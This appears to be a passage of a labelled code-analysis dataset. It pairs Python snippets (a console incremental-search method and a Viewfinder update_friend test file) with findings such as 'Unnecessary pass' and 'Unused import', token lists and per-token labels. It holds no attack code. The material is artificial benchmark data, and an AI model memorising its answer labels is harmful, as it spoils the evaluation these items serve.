event.keysym != 'Return':\n self._bell()\n break\n line=searchfun(query)\n\n px, py = self.prompt_begin_pos\n c.pos(0, py)\n self.l_buffer.set_line(line)\n self._print_prompt()\n self._history.history_cursor=len(self._history.history)", "metadata": "root.NotEmacsMode._i_search", "header": "['class', 'NotEmacsMode', '(', 'basemode', '.', 'BaseMode', ')', ':', '___EOS___']", "index": 153 } ]
[ { "span": "pass", "start_line": 183, "start_column": 16, "end_line": 183, "end_column": 20 } ]
[]
1
true
[ "[CLS]_", "Un", "necessar", "y_", "pass_", "[SEP]_", "class_", "Not", "Ema", "cs", "Mode_", "(_", "basem", "ode_", "._", "Base", "Mode_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "i", "\\u", "search_", "(_", "self_", ",_", "search", "fun_", ",_", "direction_", ",_", "init", "\\u", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "=_", "self_", "._", "console_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", "=_", "self_", "._", "get", "\\u", "line", "\\u", "buffer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hc", "\\u", "start_", "=_", "self_", "._", "\\u", "history_", "._", "histo", "ry", "\\u", "cursor_", "#", "+", " ", "direction_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "y_", "=_", "self_", "._", "prompt", "\\u", "end", "\\u", "pos_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "._", "pos_", "(_", "0_", ",_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "direction_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prompt_", "=_", "'", "reverse", "-", "i", "-", "search", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prompt_", "=_", "'", "forward", "-", "i", "-", "search", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "scroll_", "=_", "c_", "._", "write", "\\u", "scrolling", "_", "(_", "\"%", "s", "`", "%", "s", "':", " ", "%", "s", "\"_", "%_", "(_", "prompt_", ",_", "query_", ",_", "line_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "update", "\\u", "prompt", "\\u", "pos_", "(_", "scroll_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "clear", "\\u", "after_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "event_", "=_", "c_", "._", "get", "keypress", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "event_", "._", "keysym", "_", "==_", "'", "Back", "Spac", "e", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "query_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "query_", "=_", "query_", "[_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "history_", "._", "histo", "ry", "\\u", "cursor_", "=_", "hc", "\\u", "start_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "bell", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "event_", "._", "char_", "in_", "string_", "._", "letters_", "+_", "string_", "._", "digits_", "+_", "string_", "._", "punctuation_", "+_", "'", " ", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "history_", "._", "histo", "ry", "\\u", "cursor_", "=_", "hc", "\\u", "start_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "+=_", "event_", "._", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "event_", "._", "key", "info_", "==_", "init", "\\u", "event_", "._", "key", "info_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "history_", "._", "histo", "ry", "\\u", "cursor_", "+=_", "direction_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", "=_", "search", "fun_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "event_", "._", "keysym", "_", "!=_", "'", "Return", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "bell", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "line_", "=_", "search", "fun_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "px_", ",_", "py_", "=_", "self_", "._", "prompt", "\\u", "begin", "\\u", "pos_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "._", "pos_", "(_", "0_", ",_", "py_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "l\\u", "buffer_", "._", "set\\u", "line_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "print", "\\u", "prompt_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "history_", "._", "histo", "ry", "\\u", "cursor_", "=_", "len_", "(_", "self_", "._", "\\u", "history_", "._", "history_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
viewfinderco/viewfinder/backend/www/test/update_friend_test.py
[ { "content": "# Copyright 2013 Viewfinder Inc. All Rights Reserved.\n\n\"\"\"Tests update_friend method.\n\"\"\"\n\n__author__ = '[email protected] (Andy Kimball)'\n\nfrom copy import deepcopy\nfrom viewfinder.backend.base.testing import async_test\nfrom viewfinder.backend.db.friend import Friend\nfrom viewfinder.backend.www.test import service_base_test\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class UpdateFriendTestCase(service_base_test.ServiceBaseTestCase):\n\n\n\n\n\n\n", "metadata": "root.UpdateFriendTestCase", "header": "['module', '___EOS___']", "index": 13 }, { "content": " def setUp(self):\n super(UpdateFriendTestCase, self).setUp()\n self._CreateSimpleTestAssets()\n\n # Share with another user in order to make friends with them.\n self._tester.ShareNew(self._cookie,\n [(self._episode_id, self._photo_ids)],\n [self._user2.user_id])", "metadata": "root.UpdateFriendTestCase.setUp", "header": "['class', 'UpdateFriendTestCase', '(', 'service_base_test', '.', 'ServiceBaseTestCase', ')', ':', '___EOS___']", "index": 14 }, { "content": " def testUpdateFriend(self):\n \"\"\"Update a friend attribute.\"\"\"\n self._tester.UpdateFriend(self._cookie, user_id=self._user2.user_id, nickname='Bob')\n response = self._tester.QueryUsers(self._cookie, [self._user2.user_id])\n self.assertEqual(response['users'][0]['nickname'], 'Bob')", "metadata": "root.UpdateFriendTestCase.testUpdateFriend", "header": "['class', 'UpdateFriendTestCase', '(', 'service_base_test', '.', 'ServiceBaseTestCase', ')', ':', '___EOS___']", "index": 23 }, { "content": " def testUpdateSelf(self):\n \"\"\"Update friend attributes on self.\"\"\"\n self._tester.UpdateFriend(self._cookie, user_id=self._user.user_id, nickname='Frank')\n response = self._tester.QueryUsers(self._cookie, [self._user.user_id])\n self.assertEqual(response['users'][0]['nickname'], 'Frank')", "metadata": "root.UpdateFriendTestCase.testUpdateSelf", "header": "['class', 'UpdateFriendTestCase', '(', 'service_base_test', '.', 'ServiceBaseTestCase', ')', ':', '___EOS___']", "index": 29 }, { "content": " def testMultipleUpdates(self):\n \"\"\"Test multiple updates of various attributes.\"\"\"\n self._tester.UpdateFriend(self._cookie, user_id=self._user2.user_id)\n self._tester.UpdateFriend(self._cookie, user_id=self._user2.user_id, nickname='Jim')\n self._tester.UpdateFriend(self._cookie, user_id=self._user2.user_id, nickname='Jim Bob')\n response = self._tester.QueryUsers(self._cookie, [self._user2.user_id])\n self.assertEqual(response['users'][0]['nickname'], 'Jim Bob')", "metadata": "root.UpdateFriendTestCase.testMultipleUpdates", "header": "['class', 'UpdateFriendTestCase', '(', 'service_base_test', '.', 'ServiceBaseTestCase', ')', ':', '___EOS___']", "index": 35 }, { "content": " def testClearNickname(self):\n \"\"\"Set nickname, then clear it by passing null.\"\"\"\n self._tester.UpdateFriend(self._cookie, user_id=self._user2.user_id, nickname='Nick')\n self._tester.UpdateFriend(self._cookie, user_id=self._user2.user_id, nickname=None)\n response = self._tester.QueryUsers(self._cookie, [self._user2.user_id])\n self.assertNotIn('nickname', response['users'][0])", "metadata": "root.UpdateFriendTestCase.testClearNickname", "header": "['class', 'UpdateFriendTestCase', '(', 'service_base_test', '.', 'ServiceBaseTestCase', ')', ':', '___EOS___']", "index": 43 }, { "content": " def testUpdateNonFriend(self):\n \"\"\"Update user that is not currently a friend.\"\"\"\n self._tester.UpdateFriend(self._cookie, user_id=self._user3.user_id, nickname='Han Solo')\n response = self._tester.QueryUsers(self._cookie, [self._user3.user_id])\n self.assertEqual(response['users'][0], {'user_id': self._user3.user_id,\n 'nickname': 'Han Solo',\n 'labels': ['registered']})", "metadata": "root.UpdateFriendTestCase.testUpdateNonFriend", "header": "['class', 'UpdateFriendTestCase', '(', 'service_base_test', '.', 'ServiceBaseTestCase', ')', ':', '___EOS___']", "index": 50 }, { "content": " def testUpdateNonUser(self):\n \"\"\"ERROR: Try to update a non-existent user.\"\"\"\n self.assertRaisesHttpError(404, self._tester.UpdateFriend, self._cookie, user_id=1000, nickname='Foo Bar')", "metadata": "root.UpdateFriendTestCase.testUpdateNonUser", "header": "['class', 'UpdateFriendTestCase', '(', 'service_base_test', '.', 'ServiceBaseTestCase', ')', ':', '___EOS___']", "index": 58 }, { "content": " def testBadRequests(self):\n \"\"\"ERROR: Send bad requests.\"\"\"\n self.assertRaisesHttpError(400, self._tester.UpdateFriend, self._cookie)\n self.assertRaisesHttpError(400, self._tester.UpdateFriend, self._cookie, user_id=self._user2.user_id, friend_id=100)\n self.assertRaisesHttpError(400, self._tester.UpdateFriend, self._cookie, user_id=self._user2.user_id, nickname=5)", "metadata": "root.UpdateFriendTestCase.testBadRequests", "header": "['class', 'UpdateFriendTestCase', '(', 'service_base_test', '.', 'ServiceBaseTestCase', ')', ':', '___EOS___']", "index": 62 }, { "content": "def _TestUpdateFriend(tester, user_cookie, request_dict):\n \"\"\"Called by the ServiceTester in order to test update_friend service API call.\"\"\"\n validator = tester.validator\n user_id, device_id = tester.GetIdsFromCookie(user_cookie)\n request_dict = deepcopy(request_dict)\n\n # Send update_friend request.\n actual_dict = tester.SendRequest('update_friend', user_cookie, request_dict)\n op_dict = tester._DeriveNotificationOpDict(user_id, device_id, request_dict)\n\n # Validate updates to the Friend object.\n friend_dict = request_dict['friend']\n friend_dict['friend_id'] = friend_dict.pop('user_id')\n friend_dict['user_id'] = user_id\n validator.ValidateUpdateDBObject(Friend, **friend_dict)\n\n # Validate notifications.\n invalidate = {'users': [friend_dict['friend_id']]}\n validator.ValidateNotification('update_friend', user_id, op_dict, invalidate)\n\n tester._CompareResponseDicts('update_friend', user_id, request_dict, {}, actual_dict)\n return actual_dict", "metadata": "root._TestUpdateFriend", "header": "['module', '___EOS___']", "index": 69 } ]
[ { "span": "from viewfinder.backend.base.testing import async_test", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 54 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2013", " ", "View", "finde", "r", " ", "Inc", ".", " ", "All", " ", "Rig", "hts", " ", "Reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Test", "s", " ", "update", "\\u", "frie", "nd", " ", "method", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "author\\u\\u_", "=_", "'", "and", "y", "@", "email", "scrub", "bed", ".", "com", " ", "(", "And", "y", " ", "Ki", "mba", "ll", ")'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "copy_", "import_", "deepcopy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "._", "testing_", "import_", "async", "\\u", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "friend_", "import_", "Friend", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "www", "_", "._", "test_", "import_", "service", "\\u", "base", "\\u", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Update", "Friend", "Test", "Case_", "(_", "service", "\\u", "base", "\\u", "test_", "._", "Service", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Update", "Friend", "Test", "Case_", "(_", "service", "\\u", "base", "\\u", "test_", "._", "Service", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Update", "Friend", "Test", "Case_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Creat", "e", "Simple", "Test", "Asset", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Share", " ", "with", " ", "anot", "her", " ", "user", " ", "in", " ", "order", " ", "to", " ", "make", " ", "friends", " ", "with", " ", "them", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "tester_", "._", "Share", "New_", "(_", "self_", "._", "\\u", "cookie_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "self_", "._", "\\u", "episode", "\\u", "id_", ",_", "self_", "._", "\\u", "photo", "\\u", "ids_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Update", "Friend", "Test", "Case_", "(_", "service", "\\u", "base", "\\u", "test_", "._", "Service", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Update", "Friend", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", " ", "a", " ", "frie", "nd", " ", "attribute", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", "(_", "self_", "._", "\\u", "cookie_", ",_", "user", "\\u", "id_", "=_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", ",_", "nickname_", "=_", "'", "Bob", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "self_", "._", "\\u", "tester_", "._", "Query", "Users_", "(_", "self_", "._", "\\u", "cookie_", ",_", "[_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "'", "users", "'_", "]_", "[_", "0_", "]_", "[_", "'", "nick", "name", "'_", "]_", ",_", "'", "Bob", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Update", "Friend", "Test", "Case_", "(_", "service", "\\u", "base", "\\u", "test_", "._", "Service", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Update", "Self", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", " ", "frie", "nd", " ", "attribute", "s", " ", "on", " ", "self", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", "(_", "self_", "._", "\\u", "cookie_", ",_", "user", "\\u", "id_", "=_", "self_", "._", "\\u", "user_", "._", "user", "\\u", "id_", ",_", "nickname_", "=_", "'", "Fran", "k", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "self_", "._", "\\u", "tester_", "._", "Query", "Users_", "(_", "self_", "._", "\\u", "cookie_", ",_", "[_", "self_", "._", "\\u", "user_", "._", "user", "\\u", "id_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "'", "users", "'_", "]_", "[_", "0_", "]_", "[_", "'", "nick", "name", "'_", "]_", ",_", "'", "Fran", "k", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Update", "Friend", "Test", "Case_", "(_", "service", "\\u", "base", "\\u", "test_", "._", "Service", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Multipl", "e", "Update", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "multiple", " ", "update", "s", " ", "of", " ", "vari", "ous", " ", "attribute", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", "(_", "self_", "._", "\\u", "cookie_", ",_", "user", "\\u", "id_", "=_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", "(_", "self_", "._", "\\u", "cookie_", ",_", "user", "\\u", "id_", "=_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", ",_", "nickname_", "=_", "'", "Ji", "m", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", "(_", "self_", "._", "\\u", "cookie_", ",_", "user", "\\u", "id_", "=_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", ",_", "nickname_", "=_", "'", "Ji", "m", " ", "Bob", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "self_", "._", "\\u", "tester_", "._", "Query", "Users_", "(_", "self_", "._", "\\u", "cookie_", ",_", "[_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "'", "users", "'_", "]_", "[_", "0_", "]_", "[_", "'", "nick", "name", "'_", "]_", ",_", "'", "Ji", "m", " ", "Bob", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Update", "Friend", "Test", "Case_", "(_", "service", "\\u", "base", "\\u", "test_", "._", "Service", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Clear", "Nick", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Set", " ", "nick", "name", ",", " ", "then", " ", "clear", " ", "it", " ", "by", " ", "passi", "ng", " ", "null", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", "(_", "self_", "._", "\\u", "cookie_", ",_", "user", "\\u", "id_", "=_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", ",_", "nickname_", "=_", "'", "Nick", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", "(_", "self_", "._", "\\u", "cookie_", ",_", "user", "\\u", "id_", "=_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", ",_", "nickname_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "self_", "._", "\\u", "tester_", "._", "Query", "Users_", "(_", "self_", "._", "\\u", "cookie_", ",_", "[_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "In_", "(_", "'", "nick", "name", "'_", ",_", "response_", "[_", "'", "users", "'_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Update", "Friend", "Test", "Case_", "(_", "service", "\\u", "base", "\\u", "test_", "._", "Service", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Update", "Non", "Friend", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", " ", "user", " ", "tha", "t", " ", "is", " ", "not", " ", "currentl", "y", " ", "a", " ", "frie", "nd", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", "(_", "self_", "._", "\\u", "cookie_", ",_", "user", "\\u", "id_", "=_", "self_", "._", "\\u", "user3", "_", "._", "user", "\\u", "id_", ",_", "nickname_", "=_", "'", "Han", " ", "Sol", "o", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "self_", "._", "\\u", "tester_", "._", "Query", "Users_", "(_", "self_", "._", "\\u", "cookie_", ",_", "[_", "self_", "._", "\\u", "user3", "_", "._", "user", "\\u", "id_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "[_", "'", "users", "'_", "]_", "[_", "0_", "]_", ",_", "{_", "'", "user", "\\u", "id", "'_", ":_", "self_", "._", "\\u", "user3", "_", "._", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "nick", "name", "'_", ":_", "'", "Han", " ", "Sol", "o", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "labels", "'_", ":_", "[_", "'", "register", "ed", "'_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Update", "Friend", "Test", "Case_", "(_", "service", "\\u", "base", "\\u", "test_", "._", "Service", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Update", "Non", "User_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "ERROR", ":", " ", "Tr", "y", " ", "to", " ", "update", " ", "a", " ", "non", "-", "existen", "t", " ", "user", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Rai", "ses", "Http", "Error_", "(_", "404_", ",_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", ",_", "self_", "._", "\\u", "cookie_", ",_", "user", "\\u", "id_", "=_", "1000_", ",_", "nickname_", "=_", 